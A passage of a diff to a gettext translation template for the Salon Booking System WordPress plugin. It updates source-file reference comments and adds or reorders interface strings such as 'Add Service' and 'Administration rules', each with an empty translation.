System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46\n+msgid \"Add New Service Category\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:76, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:421\n-msgid \"Edit booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:212\n+msgid \"Add Resource\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:77, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:77\n-msgid \"Reservations calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:152\n+msgid \"Add rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:78\n-msgid \"No timeslots ...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:256\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:256\n+msgid \"Add Service\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:192\n+msgid \"Add service\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:88\n msgid \"Add the reservation\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:80, views\u002Fadmin\u002Fcustomers.php:5, src\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcustomers.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcustomers.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcustomers.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcustomers.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcustomers.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n-msgid \"Customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:184\n+msgid \"Add the services you offer so customers can book them\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81\n-msgid \"GO BACK\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92\n+msgid \"Add to home screen ?\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:82\n-msgid \"No customers found ...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6\n+msgid \"Add to your calendars\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:83\n-msgid \"Add to home screen ?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:168\n+msgid \"Add your first assistant to get started.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:190\n+msgid \"Add your first service to enable bookings.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:162\n+msgid \"\"\n+\"Add your team members so customers can choose who they want to book with\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:85, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:85\n-msgid \"Install!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:38\n+msgid \"Address\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86\n-msgid \"No, thanks\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56\n+msgid \"address\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87\n-msgid \"Install this app on your IPhone=> __( tap menu and then Add to homescreen\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:541\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:541\n+msgid \"Address auto-fill\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:89\n-msgid \"Select a shop\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:44\n+msgid \"Admin notification e-mail(s)\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90\n-msgid \"No shops ...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:133\n+msgid \"Administration note\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:91, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413\n-msgid \"Shop\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:594\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:594\n+msgid \"Administration rules\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:92, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:92\n-msgid \"Please select a shop first to edit booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:136\n+msgid \"Administrator\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:93\n-msgid \"Select shop\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:58\n+msgid \"Advanced (evaluates also booking duration)\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:94\n-msgid \"Email sent\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260\n+msgid \"Advanced Discount System\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95\n-msgid \"Error, email not sent\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:534\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:534\n+msgid \"Advanced features for growing salon businesses\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:96, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96, 